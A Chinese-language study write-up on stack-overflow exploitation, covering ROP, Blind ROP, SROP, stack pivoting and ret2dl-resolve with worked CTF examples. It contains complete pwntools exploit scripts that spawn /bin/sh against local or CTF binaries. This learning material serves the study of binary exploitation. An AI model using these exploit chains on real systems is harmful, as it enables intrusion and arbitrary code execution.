栈溢出原理

由于C语言对数组引用不做任何边界检查,从而导致缓冲区溢出成为一种很常见的漏洞。由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦发生严重的溢出,攻击者可以通过覆盖返回地址来执行任意代码,利用方法包括shellcode注入、retlibc,rop等

危险函数

大多数缓冲区溢出问题都是错误地使用了一些危险函数所导致的。

  1. scanf, gets这类
  2. strcpy, strcat, sprintf这一类

返回导向编程

ROP是Return-Oriented Programming 的缩写,因为引入了NX机制,数据所在的内存页被标记为不可执行,此时在执行shellcode就会抛出异常,因为注入新代码不可行,所以就利用程序中已有的代码。

使用ROP攻击,首先需要扫描文件,提取出可用的gadget片段(通常以ret指令结尾),然后将这些gadget进行组合,来达到攻击者的目的。举个例子,exit(0)的shellcode由下面4条连续的指令组成。

1
2
3
4
5
; exit(0) shellcode
xor eax, eax
xor ebx, ebx
inc eax
int 0x80

ROP链为

1
2
3
4
5
6
7
8
; exit(0) ROP chain
xor eax, eax ;gadget 1 地址A
ret
xor ebx, ebx ;gadget 2 地址B
ret
inc eax ;gadget 3 地址C
ret
int 0x80 ;gadget 4 地址D

栈为(上面为低,下面为高)

1
2
3
4
地址A		;原来的EIP的位置  低地址
地址B
地址C
地址D ; 高地址

示例

程序源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>

void vuln_func(){
char buf[128];
read(STDIN_FILENO, buf, 256);
}

int main()
{
void * handle = dlopen("libc.so.6", RTLD_NOW | RTLD_GLOBAL);
printf("%p\n", dlsym(handle, "system"));
vuln_func();
write(STDOUT_FILENO, "Hello world!\n", 13);

return 0;
}
1
gcc -fno-stack-protector -z noexecstack -pie -fpie main.c -ldl -o rop64

为了方便测试,这个地方直接打印出了system的地址,来模拟信息泄露。思路就是根据system的地址找到Libc的基地址,然后找到/bin/sh的地址 + gadget(pop rdi; ret) ,将rdi传入/bin/sh的地址,然后去调用system来获取shell

1
2
3
4
5
6
7
8
9
10
╭─ ~/Desktop/testC/stack_test  
╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep rdi
0x0000000000022394 : pop rdi ; pop rbp ; ret
0x000000000002164f : pop rdi ; ret

╭─ ~/Desktop/testC/stack_test
╰─ ROPgadget --binary /lib/x86_64-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x00000000001b3d88 : /bin/sh

exp1: ROP攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context.log_level = "debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("rop64")

system_addr = int(io.recvuntil(b"\n")[:-1], 16)
log.info("system_addr: %s" % hex(system_addr))

libc_base = system_addr - libc.symbols['system']
log.info("libc_base: %s" % hex(libc_base))

binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

log.info("binsh_addr: %s" % hex(binsh_addr))

pop_rdi_addr = libc_base + 0x2164f
ret_addr = libc_base + 0x08aa

payload = b'A' * 136 + p64(ret_addr) + p64(pop_rdi_addr) + p64(binsh_addr) + p64(system_addr)
io.send(payload)
io.interactive()

这里的payload要在中间+ p64(ret_addr), 这是为了对齐,具体看下面的参考文章

EXP2: 利用one_gadget,execve 函数 其实就是retlibc的感觉

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level = "debug"
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
io = process("rop64")

system_addr = int(io.recvuntil(b"\n")[:-1], 16)
log.info("system_addr: %s" % hex(system_addr))

libc_base = system_addr - libc.symbols['system']
log.info("libc_base: %s" % hex(libc_base))


one_gadget = libc_base + 0x4f302
payload = b'A' * 136 + p64(one_gadget)

payload = payload.ljust(250, b'\x00')
io.send(payload)
io.interactive()

参考文章:

http://picpo.top/2021/07/19/ubuntu18%E4%BB%A5%E4%B8%8A%E7%B3%BB%E7%BB%9F64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E6%97%B6%EF%BC%8C%E6%89%80%E9%9C%80%E6%B3%A8%E6%84%8F%E7%9A%84%E5%A0%86/

http://blog.eonew.cn/2019-05-11.%E5%9C%A8%E4%B8%80%E4%BA%9B64%E4%BD%8D%E7%9A%84glibc%E7%9A%84payload%E8%B0%83%E7%94%A8system%E5%87%BD%E6%95%B0%E5%A4%B1%E8%B4%A5%E9%97%AE%E9%A2%98.html

https://www.cnblogs.com/tcctw/p/11333743.html

Blind ROP

BROP,即Blind Return Oriented Programming, BROP能够在无法获得二进制程序的情况下,基于远程服务崩溃与否(连接是否中断),进行ROP攻击获得shell,可用于开启了ASLR、NX和canaries的64位Linux

BROP原理

传统的ROP攻击需要攻击者通过逆向等手段、从二进制文件中提取可用的gadgets,而BROP在符合一定的前提条件下,无需获得二进制文件。其中两个必要的条件是↓

  1. 目标程序存在栈溢出漏洞,并且可以稳定触发
  2. 目标进程在崩溃后回立即重启,并且重启后的进程内存不会重新随机化,这样即使目标机器开启了ASLR也没有影响

BROP攻击的主要阶段如下

  1. Stack reading ,泄露canaries和返回地址,然后从返回地址可以推算出程序的加载地址,用于后续gadgets的扫描。泄露方法是每次溢出一个字节,看程序是否崩溃。

  2. Blind ROP, 这一阶段用于远程搜索gadgets,搜索gadgets的思路也是基于溢出返回地址后判断程序是否崩溃。要搜到stop gadgets,即让程序挂起的一些指令,例如进入无限循环,sleep或read啥的,因为要利用这个stop gadgets来搜索对我们有用的gadgets,即下面这样↓

    1
    2
    payload = b'A' * buf_size + p64(gadgets) + ... +p64(stop gadgets)	# 不会崩溃
    payload = b'A' * buf_size + p64(gadgets) # 会崩溃

    一般可以搜通用的gadgets,像下面这种

    1
    2
    3
    4
    5
    6
    7
    .text:000000000040078A 5B                                            pop     rbx
    .text:000000000040078B 5D pop rbp
    .text:000000000040078C 41 5C pop r12
    .text:000000000040078E 41 5D pop r13
    .text:0000000000400790 41 5E pop r14
    .text:0000000000400792 41 5F pop r15
    .text:0000000000400794 C3 retn
  3. Build the exploit, 利用得到的gadgets构造ROP,将程序从远程服务器的内存里传回来,BROP就转换成了普通的ROP攻击

HCTF 2016: brop

exp为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
from pwn import *
from binascii import *

context(os='linux', arch='amd64')
# context.log_level = "debug"

def get_buffer_size():
for i in range(1, 100):
payload = 'A' * i
buffsize = len(payload) - 1
try:
io = remote("127.0.0.1", 10001)
io.sendafter("ssword?\n", payload)
io.recvline()
io.close()
log.info("bad buffsize: %d" % buffsize)
except EOFError as e:
io.close()
log.info("buffsize: %d" % buffsize)
return buffsize

def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = b'A' * buf_size
payload += p64(addr)
try:
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
io.recvline()
io.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
sleep(0.1)
while True:
addr += 1
payload = b'A' * buf_size + p64(addr) + b'AAAAAAAA' * 6
try:
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload+ p64(stop_addr))
io.recv(timeout=1)
io.close()
log.info("find address: 0x%x" % addr)
try: # check gadget
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
io.recv(timeout=1)
io.close()
log.info("bad address : 0x%x" % addr)
except:
io.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

def get_puts_call_addr(buf_size, stop_addr, gadgets_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = b'A' * buf_size + p64(gadgets_addr + 9) + p64(0x400000) + p64(addr) + p64(stop_addr)
try:
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
if io.recv().startswith(b'\x7fELF'):
log.info("puts call address:0x%x" % addr)
io.close()
return addr
log.info("bad: 0x%x" % addr)
io.close()
except EOFError as e:
io.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1

def dump_memory(buf_size, stop_addr, gadgets_addr, puts_call_addr, start_addr, end_addr):
result = b''
while start_addr < end_addr:
sleep(0.1)
payload = b'A' * buf_size
payload+= p64(gadgets_addr+9)
payload+= p64(start_addr)
payload+= p64(puts_call_addr)
payload += p64(stop_addr)
try:
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
data = io.recv()[:-1]
if data == b'':
data = b"\x00"
log.info("leaking: 0x%x ---> %s" % (start_addr, hexlify(data)))
result += data
start_addr += len(data)
io.close()
except EOFError:
log.info("EOF")
return result
except:
log.info("Can't connect")
return result

def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_call_addr, puts_got):
payload = b'A' * buf_size
payload+= p64(gadgets_addr+9)
payload+= p64(puts_got)
payload+= p64(puts_call_addr)
payload += p64(stop_addr)
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
data = io.recvline()[:-1]
data = u64(data.ljust(8, b"\x00"))
log.info("puts address: 0x%x" % data)
return data

def pwn(gadgets_addr, system_addr, binsh_addr):
payload = b'A' * 72 + p64(gadgets_addr+10) +p64(gadgets_addr+9) + p64(binsh_addr) + p64(system_addr)
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
io.interactive()

def leak2(addr):
buf_size = 72
gadgets_addr = 0x40078a
puts_call_addr = 0x400547

payload = b'A' * buf_size
payload+= p64(gadgets_addr+9)
payload+= p64(addr)
payload+= p64(puts_call_addr)
io = remote('127.0.0.1', 10001)
io.sendafter("ssword?\n", payload)
sleep(0.2)
data = io.recv()[:-1]
if data == b'':
data = b"\x00"
log.info('leaking: {0}: {1}'.format(hex(addr), hexlify(data)))
io.close()
return data

def leak1(puts_addr):
system_addr = puts_addr - 0x80970 + 0x4f420
binsh_addr = puts_addr - 0x80970 + 0x1b3d88
return system_addr, binsh_addr

def get_ret_addr(): # get func return addr to get the base address
retaddr = b""

for i in range(8):
j = 0
while j <= 255:
try:
tmp_addr = bytes([j])
io = remote('127.0.0.1', 10001)
payload = b'A' * 72 + retaddr + tmp_addr
io.sendafter("ssword?\n", payload)
sleep(0.2)
tmp_recv = io.recv(timeout=1)
if b'No password' in tmp_recv:
retaddr = retaddr + tmp_addr
log.info("------------>correct address: {}".format(hexlify(retaddr)))
io.close()
j = j + 1
break
else:
log.info("bad address: {}".format(hexlify(tmp_addr)))
j = j + 1
io.close()
continue
except EOFError:
io.close()
j = j + 1
log.info("bad address: {}".format(hexlify(tmp_addr)))
continue
except:
log.info("Cant't connect")
continue
log.info("return address: {}".format(hexlify(retaddr[::-1])))
return retaddr

# buffersize = get_buffer_size() # 72
# stop_addr = get_stop_addr(72) # 0x400545
# gadgets_addr = get_gadgets_addr(72, 0x400545) #0x40078a
# puts_call_addr = get_puts_call_addr(72, 0x400545, 0x40078a) # 0x400547
# result = dump_memory(72, 0x400545, 0x40078a, 0x400547, 0x400000, 0x403000)
# with open("code1.bin", 'wb') as f:
# f.write(result)


# puts_got = 0x601018
# puts_addr = get_puts_addr(72, 0x400545, 0x40078a, 0x400547,puts_got) # 0x7ffff7a62970

# leak1
# system_addr, binsh_addr = leak1(0x7ffff7a62970)

# leak2
# data = DynELF(leak2, 0x0400590)
# system_addr = data.lookup('system', 'libc')
# log.info("ststem_addr : {}".format(hex(system_addr))) # 0x7ffff7a31420
# binsh_addr = system_addr - 0x4f420 + 0x1b3d88
# sleep(1)
# pwn(0x40078a, 0x7ffff7a31420, binsh_addr)

get_ret_addr()

参考文章:https://firmianay.gitbooks.io/ctf-all-in-one/content/doc/6.1.1_pwn_hctf2016_brop.html

SROP

SROP与ROP类似,通过栈溢出,覆盖返回地址并执行gadgets控制执行流。不同的是,SROP使用能够调用sigreturn的gadget覆盖返回地址,并将一个伪造的sigcontext结构体放在栈中。这个地方有点类似windows那个挂起线程,然后设置线程上下文,然后恢复线程的 设置线程上下文然后恢复线程。

SROP原理

Linux系统调用

Linux的系统调用中,64位和32位的系统调用表分别位于/usr/include/asm/unistd_64.h和/usr/include/asm/unistd_32.h中,另外还需要查看/usr/include/bits/syscall.h

比如write的系统调用号是1,就往RAX里存入1,执行syscall,其实就是执行的write函数,当然rdi, rsi, rdx 得存入参数才可以

1
2
3
4
5
6
7
//syscall.h
#ifdef __NR_writev
# define SYS_writev __NR_writev
#endif
...
// unistd_64.h
#define __NR_write 1

int 0x80 即80中断, 是最老的系统函数调用方式

syscall/sysret 是amd64 制定的标准, 也是目前的x86 64位的标准,即amd64

sysenter/syssysexit 是inter制定的x86 64位标准, 目前已被放弃

vdso 是linux内核虚拟出的so, 实现了int 80 和 syscall,调用方式为 vsyscall

signal机制

当有中断或异常发送时,内核会向某个进程发送一个signal,该进程被挂起并进入内核,然后内核为其保存相应的上下文,再跳转到之前注册好的signal handler中进程处理,待signal handler返回后,内核为该进程恢复之前保存的上下文,最终恢复执行。(这个地方好像windows的异常处理啊),具体步骤如下。

  1. 一个signal frame被添加到栈,这个frame中包含了当前寄存器的值和一些signal信息;
  2. 一个新的返回地址被添加到栈顶,这个返回地址指向sigreturn 系统调用;
  3. signal handler被调用,signal handler的行为取决于收到了什么signal
  4. signal handler执行完后,如果程序没有终止,则返回地址用于执行sigreturn 系统调用
  5. sigreturn 利用 signal frame恢复所有的寄存器以回到之前的状态。
  6. 最后,程序执行继续。

SROP,即Sigreturn Oriented Programming,就可以利用上面的第5步来进行攻击,即将返回地址覆盖为sigreturn gadget的指针,如果只有syscall,将RAX改为0XF,效果是一样的,然后在栈上覆盖上fake frame即可

参考文章 https://energygreek.github.io/2020/11/09/system-calls-method/

pwntools srop模块

1
2
3
4
5
6
context.arch = 'i386'
SigreturnFrame(kernel='i386') # 32位系统运行32位程序
SigreturnFrame(kernel='amd64') # 64位系统运行32位程序

context.arch = 'amd64'
SigreturnFrame(kernel='amd64') # 64位系统运行64位程序

Backdoor CTF2017: Fun Signals

什么保护都没有开启

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
objdump -d funsignals_player_bin -M intel  

funsignals_player_bin: file format elf64-x86-64


Disassembly of section .shellcode:

0000000010000000 <__start>:
10000000: 31 c0 xor eax,eax
10000002: 31 ff xor edi,edi
10000004: 31 d2 xor edx,edx
10000006: b6 04 mov dh,0x4
10000008: 48 89 e6 mov rsi,rsp
1000000b: 0f 05 syscall
1000000d: 31 ff xor edi,edi
1000000f: 6a 0f push 0xf
10000011: 58 pop rax
10000012: 0f 05 syscall
10000014: cc int3

0000000010000015 <syscall>:
10000015: 0f 05 syscall
10000017: 48 31 ff xor rdi,rdi
1000001a: 48 c7 c0 3c 00 00 00 mov rax,0x3c
10000021: 0f 05 syscall

0000000010000023 <flag>:
10000023: 66 61 data16 (bad)
10000025: 6b 65 5f 66 imul esp,DWORD PTR [rbp+0x5f],0x66
10000029: 6c ins BYTE PTR es:[rdi],dx
1000002a: 61 (bad)
1000002b: 67 5f addr32 pop rdi
1000002d: 68 65 72 65 5f push 0x5f657265
10000032: 61 (bad)
10000033: 73 5f jae 10000094 <flag+0x71>
10000035: 6f outs dx,DWORD PTR ds:[rsi]
10000036: 72 69 jb 100000a1 <flag+0x7e>
10000038: 67 69 6e 61 6c 5f 69 imul ebp,DWORD PTR [esi+0x61],0x73695f6c
1000003f: 73
10000040: 5f pop rdi
10000041: 61 (bad)
10000042: 74 5f je 100000a3 <flag+0x80>
10000044: 73 65 jae 100000ab <flag+0x88>
10000046: 72 76 jb 100000be <flag+0x9b>
10000048: 65 72 00 gs jb 1000004b <flag+0x28>

可以发现程序,先执行了read命令,rdx,0x400,rsi是rsp rdi是0 ,执行read读入数据,把数据写到栈上,然后在执行调用号为0xf的系统调用

1
2
#define __NR_read 0
#define __NR_rt_sigreturn 15

所以只需要构造sigreturn frame,然后读入就OK了, exp为↓

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

elf = ELF("./funsignals_player_bin")
io = process("./funsignals_player_bin")

context.clear()
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = constants.STDOUT_FILENO
frame.rsi = elf.symbols['flag']
frame.rdx = 50
frame.rip = elf.symbols['syscall']

io.send(bytes(frame))
io.interactive()

stack pivoting

stack pivoting 是一种将程序真实的堆栈转移到伪造堆栈上的技术,可用于绕过不可执行栈保护或者处理栈空间过小的情况。下面通过1个例题(32位的,书上还有个64位的,但是基本一样,不写了。。)来说下这种技术,这是ROP Emporium上的那个题

pivot32

IDA打开分析

是在pwnme这个函数中存在栈溢出,但是只溢出了16个字节,显然对于构造ROP链是不够的,所以我们要用到栈转移技术,怎么转移呢?其实就是用了leave ret指令,leave ret,其实就跟mov esp, ebp; pop ebp; pop rip的效果是一样的,

我们把old ebp的位置覆盖为leakaddr - 4.然后执行mov esp,ebp, 所以现在esp就是leakaddr - 4了,然后再执行pop ebp, leak addr - 4这个位置的数就给了ebp了,然后esp执行leak addr,再执行ret的时候,就从leak addr这里取地址了,这样就完成了栈转移

回到这个例题,我们第一次输入的数据存到新栈那里,这里就是真正的要构造的ROP了,目的是为了执行 call ret2win来获取flag(这个函数应该是作者定义的,放到了libpivot32.so中),第二次输入的数据就存在旧栈那里,目的就是转移栈。

exp为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *

io = process("pivot32")
elf = ELF("pivot32")
lib = ELF("libpivot32.so")

context.terminal = ['tmux','splitw','-h']
context.log_level = "debug"

pop_eax = 0x0804882C
xchg_eax_esp = 0x804882E
mov_eax_eax = 0x8048830
add_eax_ebx = 0x08048833
leave_ret = 0x080485f5
pop_ebx = 0x080484a9
call_eax= 0x080485f0

foothold_plt = elf.plt['foothold_function']
foothold_got = elf.got['foothold_function']
offset = lib.symbols['ret2win'] - lib.symbols['foothold_function']


io.recvuntil(b'pivot: ')
leakaddress = io.recvuntil(b'\n')
leakaddress = int(leakaddress.decode(), 16)
log.info("leakaddress: 0x%x" % leakaddress)



def step1():
payload = p32(foothold_plt)
payload += p32(pop_eax)
payload += p32(foothold_got)
payload += p32(mov_eax_eax)
payload += p32(pop_ebx)
payload += p32(offset)
payload += p32(add_eax_ebx)
payload += p32(call_eax)
io.sendafter(b'> ', payload)


def step2():
payload = b'A' * 40
payload += p32(leakaddress - 4) # pop ebp
payload += p32(leave_ret)
io.sendafter(b'> ', payload)


if __name__ == "__main__":
step1()
step2()
io.recvall()

GreHack CTF2017: beerfighter

IDA打开分析,发现在这个地方存在溢出,程序中存在syscall,所以采用srop的技术,然后由于我们最终调用syscall,是把rax设置为SYS_execve,然后rdi是/bin/sh,所以我们还需要提前调用read,即syscall,rax为SYS_read,把 /bin/sh写入进去,写入到.data段,下面是EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *

context.log_level = "debug"
elf = ELF("beerfighter")
io = process("beerfighter")


syscall_addr = 0x00400764
context.arch = "amd64"
data_address = elf.get_section_by_name(".data").header.sh_addr + 0x10 # /bin/sh
base_address = data_address + 8 # new stack

pop_rax = 0x040077a
sigret_bytes = p64(pop_rax) + p64(constants.SYS_rt_sigreturn)+p64(syscall_addr) # 0xf


frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = data_address
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_addr

frame1 = SigreturnFrame()
frame1.rax = constants.SYS_read
frame1.rdi = constants.STDIN_FILENO
frame1.rsi = data_address
frame1.rdx = len(bytes(frame2)) + 32
frame1.rsp = base_address # new stack # 可以采用这种方式进行stack pivot
frame1.rip = syscall_addr


def step_1():
payload1 = b'A' * (1040 + 8)
payload1 += sigret_bytes
payload1 += bytes(frame1)

io.sendlineafter(b' > ', b'1')
io.sendlineafter(b' > ', b'0')
io.sendlineafter(b' > ', payload1)
io.sendlineafter(b' > ', b'3')

def step_2():
payload2 = b'/bin/sh\x00'
payload2 += sigret_bytes
payload2 += bytes(frame2)
io.sendline(payload2)

io.interactive()

if __name__ == "__main__":
step_1()
step_2()

ret2dl-resolve

现代漏洞利用通常包含两个阶段

  1. 第一步先通过信息泄露获得程序的内存布局
  2. 第二部才进行实际的漏洞利用

然而从程序中获得内存布局的方法并不总是可行的,且获得的被破坏的内存有时并不可靠。于是就有了ret2dl-resolve,巧妙的利用了ELF格式以及动态装载器的弱点,不需要进行信息泄露,就可以直接标识关键函数的位置并调用。( 我感觉这个ret2dl-resolve有点类似于windows下的那个GetProcAddress函数,就是动态获取函数的地址。。

ret2dl-resolve原理

动态装载器负责将二进制文件及依赖库加载到内存,该过程包含了对导入符号(函数和全局变量)的解析。

每个符号都是Elf_Sym结构体,这些符号又共同组成了.dynsym段, Elf32_Sym的结构体如下

1
2
3
4
5
6
7
8
9
typedef struct
{
Elf32_Word st_name; /4字节* Symbol name (string tbl index) */ 相对于.dynstr段的偏移
Elf32_Addr st_value; /4字节* Symbol value */ 导出函数的地址,不导出时为NULL
Elf32_Word st_size; /4字节* Symbol size */
unsigned char st_info; /1字节* Symbol type and binding */
unsigned char st_other; /1字节* Symbol visibility */
Elf32_Section st_shndx; /2字节* Section index */
} Elf32_Sym;

对于st_info段

1
2
3
#define ELF32_ST_BIND(val)      (((unsigned char) (val)) >> 4)
#define ELF32_ST_TYPE(val) ((val) & 0xf)
#define ELF32_ST_INFO(bind, type) (((bind) << 4) + ((type) & 0xf))

对于pwn来说,只考虑st_name, st_info即可

1
2
3
4
5
st_name = 被调用函数名字符串地址相对于.dynstr段的偏移
st_info = (0x1 << 4) + 0x2 // (STB_GLOBAL << 4) + STT_FUNC
// 如果要绑定函数 st_info = 0x12 例如:__libc_start_main
// 如果要绑定一般的指针 st_info = 0x11 例如:stdin
// 如果要绑定变量 st_info = 0x20 例如:__gmon_start__

在IDA中看到的.dynsym和.dynstr如下

导入符号的解析需要重定位,每个重定位项都是Elf_Rel结构体的实例,这些项又共同组成了.rel.plt段(用于导入函数)和.rel.dyn段(用于导入全局变量)。Elf_Rel的结构如下

1
2
3
4
5
typedef struct
{
Elf32_Addr r_offset; /4字节* Address */
Elf32_Word r_info; /4字节* Relocation type and symbol index */
} Elf32_Rel;

对于r_offset项,是GOT表对应项的地址,r_info的高位3个字节用于标识该符号在.dymsym段的位置,即无符号下标,低1个字节是type,如果是6则是变量,为7则为函数,在IDA中看到的.rel.plt和.rel.dyn如图

_dl_runtime_resolve()函数有2个参数,第一个参数是link_map对象的地址,第二个参数是导入函数的标识(Elf_Rel在.rel.plt段中的偏移),函数参数link_map_obj用于获取解析导入函数所需的信息,参数reloc_index标识了解析哪一个导入函数。

符号解析过程如图所示,这里要注意下32位和64位程序结构体会有所区别,而且这个.dl_runtime_resolve的第二个参数,对于32位程序是Elf_Rel在.rel.plt的偏移,对于64位程序是对应Elf_Rel在.rel.plt的索引

2种攻击场景

RELRO保护机制会影响延迟绑定,因此也会影响retdl_resolve:

  • Partial RELRO: 包括.dynamic段在内的一些段会被标识为只读
  • Full RELRO: 在Partial RELRO的基础上,禁用延迟绑定,即所有的导入符号在加载时就被解析,.got.plt段被完全初始化为目标函数的地址,并标记为只读

下面来看2个简单的攻击场景

  1. 关闭RELRO,.dynamic可写,因为动态装载器是通过.dynamic段的DT_STRTAB条目来获取.dynstr段的地址,所以我们可以修改DT_STRTAB来使其指向一个伪造的.dynstr段,在那里伪造假的字符串,这样在执行printf的时候,可以执行execve
  1. 开启Partial RELRO保护,使.dynamic段不可写,我们知道_dl_runtime_resolve的第二个参数是对应Elf_Rel相对.rel.plt的偏移,当这个数字非常大的时候,会超出.rel.plt段,我们使其正好落在.bss段,在那里伪造一个Elf_Rel,使r_offset的值指向一个可写的内存地址(用于保存解析后的地址),构造r_info。使其指向一个位于它后面的Elf_Sym,然后Elf_Sym中的st_name指向它后面的函数名字符串

XDCTF 2015: pwn200

IDA打开分析,在这个位置存在栈溢出漏洞,思路是在这个地方利用stack pivot将栈转移到bss段,然后在.bss段伪造Elf_Rel,Elf_Sym和函数名

EXP为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

context.log_level = "debug"
elf = ELF("pwn200")
io = process("pwn200")
io.recvline("2015~!\n")


pppr_addr = 0x080485cd
pop_ebp_addr = 0x08048453
leave_ret_addr = 0x08048481

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']


plt_0 = elf.get_section_by_name('.plt').header.sh_addr
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x800


def stack_pivot():
payload1 = b'A' * 112 # buf
payload1 += p32(read_plt) # return address
payload1 += p32(pppr_addr)
payload1 += p32(0) + p32(bss_addr) + p32(200)
payload1 += p32(pop_ebp_addr) + p32(bss_addr) # ebp
payload1 += p32(leave_ret_addr)

io.send(payload1)


def pwn():
r_sym = (bss_addr + 40 - dynsym) // 0x10
r_type = 0x7
r_info = (r_sym << 8) + (r_type & 0xff)
fake_reloc = p32(write_got) + p32(r_info)

st_name = bss_addr + 56 - dynstr #'system\x00\x00' addr
st_bind = 0x1
st_type = 0x2
st_info = (st_bind << 4) + (st_type & 0xf)
fake_sym = p32(st_name) + p32(0) + p32(0) + p32(st_info)

reloc_index = bss_addr + 28 - rel_plt # offset

payload2 = b'AAAA' # ebp
payload2 += p32(plt_0)
payload2 += p32(reloc_index) # call system
payload2 += b'AAAA'
payload2 += p32(bss_addr + 80) # 参数/bin/sh的位置
payload2 += b'A' * 8
payload2 += fake_reloc
payload2 += b'A' * 4 # 到此 payload2为 40 bytes

payload2 += fake_sym # 到此 payload2为 56 bytes
payload2 += b"system\x00\x00"
payload2 = payload2.ljust(80, b'A')
payload2 += b'/bin/sh\x00'
payload2 = payload2.ljust(100, b'A')


io.sendline(payload2)
# pause()
io.interactive()


if __name__ == "__main__":
stack_pivot()
pwn()

注意!:bss_addr = elf.get_section_by_name('.bss').header.sh_addr + 0x800 这个地方卡了好久,要+0x800左右的数据才能跑通,加的少了估计会有其他函数也用到这个内存的数据,会冲突,导致跑不通